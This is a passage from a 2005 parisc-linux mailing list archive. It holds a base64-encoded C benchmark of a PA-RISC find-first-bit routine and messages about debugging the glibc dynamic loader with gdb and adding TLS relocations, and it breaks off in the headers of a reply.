MDAwMC4KCnJlYWwgICAgMG0yMy4wMDZzCnVzZXIgICAgMG0yMi41NjFzCnN5cyAgICAgMG0wLjAz
MHMKCkxvb3AgNQotLS0tLS0KQ29tcHV0aW5nIHNjaGVkX2ZpbmRfZmlyc3RfYml0X3BhKCkgZm9y
IGkgPSAwIHRvIDIxNDc0ODM2NDguLi4KTE9PUF9TSVpFID0gMHgwMDAwMDAwMDgwMDAwMDAwLgoK
cmVhbCAgICAwbTIyLjYyN3MKdXNlciAgICAwbTIyLjU2OXMKc3lzICAgICAwbTAuMDE4cwoKQ29t
cHV0aW5nIHNjaGVkX2ZpbmRfZmlyc3RfYml0X3BwYzY0KCkgZm9yIGkgPSAwIHRvIDIxNDc0ODM2
NDguLi4KTE9PUF9TSVpFID0gMHgwMDAwMDAwMDgwMDAwMDAwLgoKcmVhbCAgICAwbTIyLjYzMHMK
dXNlciAgICAwbTIyLjU1MnMKc3lzICAgICAwbTAuMDE5cwoKICovCgojaW5jbHVkZSA8c3RkaW8u
aD4KCi8qIGluY2x1ZGUvbGludXgvY29tcGlsZXIuaCAqLwojZGVmaW5lIGxpa2VseSh4KSAgICAg
ICBfX2J1aWx0aW5fZXhwZWN0KCEhKHgpLCAxKQojZGVmaW5lIHVubGlrZWx5KHgpICAgICBfX2J1
aWx0aW5fZXhwZWN0KCEhKHgpLCAwKQoKIC8qIGluY2x1ZGUvbGludXgva2VybmVsLmggKi8KI2Rl
ZmluZSBVTExPTkdfTUFYICAgICAgKH4wVUxMKQoKLyoqCiAqIF9fZmZzIC0gZmluZCBmaXJzdCBi
aXQgaW4gd29yZC4KICogQHdvcmQ6IFRoZSB3b3JkIHRvIHNlYXJjaAogKgogKiBVbmRlZmluZWQg
aWYgbm8gYml0IGV4aXN0cywgc28gY29kZSBzaG91bGQgY2hlY2sgYWdhaW5zdCAwIGZpcnN0Lgog
Ki8KCnN0YXRpYyBfX2lubGluZV9fIHVuc2lnbmVkIGxvbmcgbG9uZyBfX2Zmcyh1bnNpZ25lZCBs
b25nIGxvbmcgeCkKewoJdW5zaWduZWQgbG9uZyBsb25nIHJldDsKCglfX2FzbV9fKAojaWZkZWYg
X19MUDY0X18KCQkiIGxkaSAgICAgICA2MywlMVxuIgoJCSIgZXh0cmQsdSwqPD4gICUwLDYzLDMy
LCUlcjBcbiIKCQkiIGV4dHJkLHUsKlRSICAlMCwzMSwzMiwlMFxuIgkvKiBtb3ZlIHRvcCAzMi1i
aXRzIGRvd24gKi8KCQkiIGFkZGkgICAgLTMyLCUxLCUxXG4iCiNlbHNlCgkJIiBsZGkgICAgICAg
MzEsJTFcbiIKI2VuZGlmCgkJIiBleHRydSw8PiAgJTAsMzEsMTYsJSVyMFxuIgoJCSIgZXh0cnUs
VFIgICUwLDE1LDE2LCUwXG4iCS8qIHh4eHgwMDAwIC0+IDAwMDB4eHh4ICovCgkJIiBhZGRpICAg
IC0xNiwlMSwlMVxuIgoJCSIgZXh0cnUsPD4gICUwLDMxLDgsJSVyMFxuIgoJCSIgZXh0cnUsVFIg
ICUwLDIzLDgsJTBcbiIJLyogMDAwMHh4MDAgLT4gMDAwMDAweHggKi8KCQkiIGFkZGkgICAgLTgs
JTEsJTFcbiIKCQkiIGV4dHJ1LDw+ICAlMCwzMSw0LCUlcjBcbiIKCQkiIGV4dHJ1LFRSICAlMCwy
Nyw0LCUwXG4iCS8qIDAwMDAwMHgwIC0+IDAwMDAwMDB4ICovCgkJIiBhZGRpICAgIC00LCUxLCUx
XG4iCgkJIiBleHRydSw8PiAgJTAsMzEsMiwlJXIwXG4iCgkJIiBleHRydSxUUiAgJTAsMjksMiwl
MFxuIgkvKiAwMDAwMDAweSwgMTEwMGIgLT4gMDAxMWIgKi8KCQkiIGFkZGkgICAgLTIsJTEsJTFc
biIKCQkiIGV4dHJ1LD0gICUwLDMxLDEsJSVyMFxuIgkvKiBjaGVjayBsYXN0IGJpdCAqLwoJCSIg
YWRkaSAgICAtMSwlMSwlMVxuIgoJCQk6ICIrciIgKHgpLCAiPXIiIChyZXQpICk7CgoJcmV0dXJu
IHJldDsKfQoKLyoKICogRXZlcnkgYXJjaGl0ZWN0dXJlIG11c3QgZGVmaW5lIHRoaXMg
ZnVuY3Rpb24uIEl0J3MgdGhlIGZhc3Rlc3QKICogd2F5IG9mIHNlYXJjaGluZyBhIDE0MC1iaXQg
Yml0bWFwIHdoZXJlIHRoZSBmaXJzdCAxMDAgYml0cyBhcmUKICogdW5saWtlbHkgdG8gYmUgc2V0
LiBJdCdzIGd1YXJhbnRlZWQgdGhhdCBhdCBsZWFzdCBvbmUgb2YgdGhlIDE0MAogKiBiaXRzIGlz
IGNsZWFyZWQuCiAqLwpzdGF0aWMgaW5saW5lIGludCBzY2hlZF9maW5kX2ZpcnN0X2JpdF9wYShj
b25zdCB1bnNpZ25lZCBsb25nIGxvbmcgKmIpCnsKI2lmbmRlZiBfX0xQNjRfXwoJaWYgKHVubGlr
ZWx5KGJbMF0pKQoJCXJldHVybiBfX2ZmcyhiWzBdKTsKCWlmICh1bmxpa2VseShiWzFdKSkKCQly
ZXR1cm4gX19mZnMoYlsxXSkgKyAzMjsKCWlmICh1bmxpa2VseShiWzJdKSkKCQlyZXR1cm4gX19m
ZnMoYlsyXSkgKyA2NDsKCWlmIChiWzNdKQoJCXJldHVybiBfX2ZmcyhiWzNdKSArIDk2OwoJcmV0
dXJuIF9fZmZzKGJbNF0pICsgMTI4OwojZWxzZQoJaWYgKHVubGlrZWx5KGJbMF0pKQoJCXJldHVy
biBfX2ZmcyhiWzBdKTsKCWlmICh1bmxpa2VseSgoKHVuc2lnbmVkIGludCliWzFdKSkpCgkJcmV0
dXJuIF9fZmZzKGJbMV0pICsgNjQ7CglpZiAoYlsxXSA+PiAzMikKCQlyZXR1cm4gX19mZnMoYlsx
XSA+PiAzMikgKyA5NjsKCXJldHVybiBfX2ZmcyhiWzJdKSArIDEyODsKI2VuZGlmCn0KCnN0YXRp
YyBpbmxpbmUgaW50IHNjaGVkX2ZpbmRfZmlyc3RfYml0X3BwYzY0KGNvbnN0IHVuc2lnbmVkIGxv
bmcgbG9uZyAqYikKewojaWZuZGVmIF9fTFA2NF9fCglpZiAodW5saWtlbHkoYlswXSkpCgkJcmV0
dXJuIF9fZmZzKGJbMF0pOwoJaWYgKHVubGlrZWx5KGJbMV0pKQoJCXJldHVybiBfX2ZmcyhiWzFd
KSArIDMyOwoJaWYgKHVubGlrZWx5KGJbMl0pKQoJCXJldHVybiBfX2ZmcyhiWzJdKSArIDY0OwoJ
aWYgKGJbM10pCgkJcmV0dXJuIF9fZmZzKGJbM10pICsgOTY7CglyZXR1cm4gX19mZnMoYls0XSkg
KyAxMjg7CiNlbHNlCglpZiAodW5saWtlbHkoYlswXSkpCgkJcmV0dXJuIF9fZmZzKGJbMF0pOwoJ
aWYgKHVubGlrZWx5KGJbMV0pKQoJCXJldHVybiBfX2ZmcyhiWzFdKSArIDY0OwoJcmV0dXJuIF9f
ZmZzKGJbMl0pICsgMTI4OwojZW5kaWYKfQoKI2lmbmRlZiBfX0xQNjRfXwojZGVmaW5lIEJJVE1B
UF9TSVpFCTUKI2Vsc2UKI2RlZmluZSBCSVRNQVBfU0laRQkzCiNlbmRpZgoKI2RlZmluZSBMT09Q
X1NJWkUJMHg4MDAwMDAwMFVMTAoKbWFpbigpCnsKCWNoYXIgYnVmWzUxMl07CglpbnQgbSxuOwoJ
dW5zaWduZWQgbG9uZyBsb25nIGksIEV4dHJkOwoKCXN0cnVjdCBwcmlvX2FycmF5X3NhbXBsZSB7
CgkJdW5zaWduZWQgbG9uZyBsb25nIGJpdG1hcFtCSVRNQVBfU0laRV07Cgl9IHNfYXJyYXk7CgoJ
Zm9yIChtPTA7IG08QklUTUFQX1NJWkU7IG0rKykgewoJCXNfYXJyYXkuYml0bWFwW21dID0gMFVM
TDsKCX0KCiNpZmRlZiBWT1JJRwoJcHJpbnRmKCJDb21wdXRpbmcgc2NoZWRfZmluZF9maXJzdF9i
aXRfcGEoKSBmb3IgaSA9ICV1IHRvICVsbHUuLi5cbiIsIDAsIExPT1BfU0laRSk7CiNlbHNlCglw
cmludGYoIkNvbXB1dGluZyBzY2hlZF9maW5kX2ZpcnN0X2JpdF9wcGM2NCgpIGZvciBpID0gJXUg
dG8gJWxsdS4uLlxuIiwgMCwgTE9PUF9TSVpFKTsKI2VuZGlmCglwcmludGYoIkxPT1BfU0laRSA9
ICUjMDE4bGx4LlxuIiwgTE9PUF9TSVpFKTsKCglmb3IgKG09MDsgbTxCSVRNQVBfU0laRTsgbSsr
KSB7CgkJc19hcnJheS5iaXRtYXBbbV0gPSAweDEyMzQ1Njc4OWFiY2RlMGZVTEw7Cgl9CgoJZm9y
IChpPTB4MFVMTDsgaTxMT09QX1NJWkU7IGkrKykgewojaWZkZWYgVk9SSUcKCQlzY2hlZF9maW5k
X2ZpcnN0X2JpdF9wYShzX2FycmF5LmJpdG1hcCk7CiNlbHNlCgkJc2NoZWRfZmluZF9maXJzdF9i
aXRfcHBjNjQoc19hcnJheS5iaXRtYXApOwojZW5kaWYKCX0KCn0KCg==

--========/42134E6200012F70/mail-2-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/42134E6200012F70/mail-2-bnl.tiscali.it--



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdb testcase for debugging shared loader.
Date: Tue, 5 Apr 2005 11:06:16 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20050405150616.GK1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623737 13663 80.91.229.3 (22 Nov 2014 02:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:37 +0000 (UTC)
To: Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 15:07:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 05 Apr 2005 17:07:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86F2B7D67C;
	Tue,  5 Apr 2005 09:07:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24436-01; Tue, 5 Apr 2005 09:07:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E46F7D66A;
	Tue,  5 Apr 2005 09:07:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCE8E7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 09:07:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24207-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 09:07:18 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6AA847D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 09:07:18 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIpdB-0002R4-00; Tue, 05 Apr 2005 11:06:17 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 58wgYslVeSE5+76WZHQhaXN2IGRvb8C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22565


Randolph,

This is the testcase I will use to demonstrate gdb's problem with single
stepping after loosing the frame, and generally getting confused.

I need to be able to step out of the plt trampoline and into the
loaded/relocated function.

---
set env CPP='gcc -E -x c-header'
file /usr/lib/debug/ld.so.1
set args --library-path \
/usr/lib/debug:/usr/lib/debug/lib/:/usr/lib/debug/usr/lib:/usr/lib:/lib \
/bin/touch test.txt
break fixup
break *_dl_runtime_resolve+68
run
si
si
---

This only works if you are using some glibc with the same offsets in
_dl_runtime_resolve (the plt trampoline).

After that last 'si' you are already going to the new function (as
looked up and loaded by the dynamic loader).

gdb chokes at this point and won't let me 'si' through the insn
sequences. In the past gdb would enter asm mode, and attempted to show
me the insn addresses (not even the insn, though that would have been
awesome). At this point I used 'i r' to watch the registers and continue
using 'si' to walk through the problem function.

Currently gdb won't produce 'i r' without some frame or function
information, though it seems to half work if I break and then issue 'i
r'.

Thoughts? It makes for debugging ld.so much more painful with gdb's
current behaviour. I have to use a lot of breaks since 'si' doesn't work
but break tends to work almost always. 

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 12:15:49 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20050405161549.GM1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623738 13665 80.91.229.3 (22 Nov 2014 02:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 16:16:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 05 Apr 2005 18:16:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2AC77D657;
	Tue,  5 Apr 2005 10:16:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24813-02; Tue, 5 Apr 2005 10:16:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9574A7D65B;
	Tue,  5 Apr 2005 10:16:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E48D7D657
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24556-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 10:15:58 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B61867D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:15:58 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIqiU-0002os-00; Tue, 05 Apr 2005 12:15:50 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g9wgYpJqeSE5+76WZHQhaXN2IGRvbwDE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22566


Randolph,

Is DTPMOD32 and DTPOFF32 all I need to add to glibc for some initial TLS
testing?

Recommended tests to make sure this is working?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 09:26:43 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20050405162643.GB6987@tausq.org>
References: <20050405161549.GM1833@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623738 13667 80.91.229.3 (22 Nov 2014 02:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 16:27:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 05 Apr 2005 18:27:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB78A7D60F;
	Tue,  5 Apr 2005 10:26:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24873-06; Tue, 5 Apr 2005 10:26:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D69E7D611;
	Tue,  5 Apr 2005 10:26:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 849CB7D414
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:26:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24873-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 10:26:45 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 0EF447D413
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:26:45 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id CD6E51120BC; Tue,  5 Apr 2005 09:26:43 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050405161549.GM1833@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C9kgYhFreSE5+76WZHQhaXN2IGRvb0CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22567

> Is DTPMOD32 and DTPOFF32 all I need to add to glibc for some initial TLS
> testing?

Well, plus the setting up of the THREAD_DTV() stuff.

> Recommended tests to make sure this is working?

I haven't really looked, but glibc has a bunch of TLS tests. It'll also
pretty easy to write our own test cases. 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Tue, 5 Apr 2005 12:34:01 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20050405163400.GN1833@baldric.uwo.ca>
References: <20050405161549.GM1833@baldric.uwo.ca>
	<20050405162643.GB6987@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623738 13671 80.91.229.3 (22 Nov 2014 02:35:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Apr 2005 16:34:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 05 Apr 2005 18:34:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B76E7D627;
	Tue,  5 Apr 2005 10:34:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25165-06; Tue, 5 Apr 2005 10:34:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88B227D62B;
	Tue,  5 Apr 2005 10:34:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DFCA7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:34:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24873-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 10:34:12 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 9B02A7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 10:34:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DIr05-0002sJ-00; Tue, 05 Apr 2005 12:34:01 -0400
Content-Disposition: inline
In-Reply-To: <20050405162643.GB6987@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QNsgYiAUeSE5+76WZHQhaXN2IGRvb0Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
